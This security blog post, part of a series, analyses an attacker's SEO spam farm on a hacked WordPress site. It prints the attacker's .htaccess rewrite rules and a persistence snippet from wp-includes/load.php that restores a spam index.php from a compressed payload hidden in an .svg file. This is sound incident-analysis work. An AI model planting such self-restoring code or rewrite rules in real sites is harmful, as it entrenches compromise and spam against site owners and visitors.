Over the past few weeks we have been following a
bad actor as they attack and
take control of a WordPress website
we manage. In the process, we’ve seen them riddle the site with backdoors and perform
SPAM injections pointing to 17 domains with over 17,000 entries.
This article builds on those observations and focuses on how they create a more sophisticated SEO spam farm that hijacks the website’s Search Engine Results Pages (SERPs). The end result: the site gets a
“This site may be compromised” label, keyword noise floods analytics, and marketers inherit a mess. Here’s one example of how it works.
This is what we mean by hijacked SERPs:

Updated: 2022-08-24 — Series index:
- Part 1: How WordPress Gets Hacked in 2022 - Initial Reconnaissance
- Part 2: What Hackers Do with WordPress in 2022 - Post Hack Analysis
- Part 3: Analyzing 17,000 Spam Links on a Hacked WordPress Site
- Part 4: Hijacking a Website’s SERP Results with SEO SPAM
- Part 5: Navigating 81 Layers of Encoding to Reveal the C&C
The Building Blocks of a SERP Hijacking Campaign
In the variation we observed, the attacker modifies/creates:
Element | Description |
---|---|
index.php | Dynamically pulls & renders product-like pages |
.htaccess | Rewrites to programmatically map “product” slugs & sitemaps |
/website | Directory housing generated sitemap files |
sitemap.xml | Root sitemap referencing product sitemaps |
wp-includes/load.php | Checks payload status; restores if removed |
./wp-admin/images/vzoahncmaq.svg | Backed-up, compressed payload (for index.php restore) |
The core is index.php
+ .htaccess
working in tandem. Here’s the .htaccess
snippet:
RewriteRule ^[a-z]+-(\d+)-.+/$ index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.+-(\d+)/$ index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(product.*\.xml)$ website/$1 [L]
RewriteRule ^.*(sitemap\.xml)$ website/$1 [L]
In website/ you’ll find the generated sitemaps:
There are 26 product sitemaps (A–Z), each with 1,066 URLs (≈27,716 links), plus 1,066 in the main product map and 3,134 in the root sitemap—~31,916 spam URLs total, on top of the 17k hidden in functions.php
.
<url>
<loc>https://[honeypot domain]/axraelw-65636-Yellow-Brown-Padded-Bubble-Postal-Bags-Envelopes/</loc>
<lastmod>2022-08-21T08:08:34+00:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
Ensuring the Payload Survives
Persistence matters. The attacker patches wp-includes/load.php
to restore index.php
from a compressed payload if its size changes:
// environment system
$v3 = './wp-admin/images/vzoahncmaq.svg';
if (filesize("index.php") < 31898) {
if (file_exists($v3)) {
$string = gzinflate(file_get_contents($v3));
if (strlen($string) > 31898 && strstr($string, "<?php"))
file_put_contents("index.php", $string);
}
}
// upgrading plugins
In short: if you delete/trim the infected index.php
, their code repopulates it from vzoahncmaq.svg
.
Trunc — SIEM & Log Management
Centralize logs, search in real time, and ship alerts that matter. Simple, fast, and affordable.
Get Started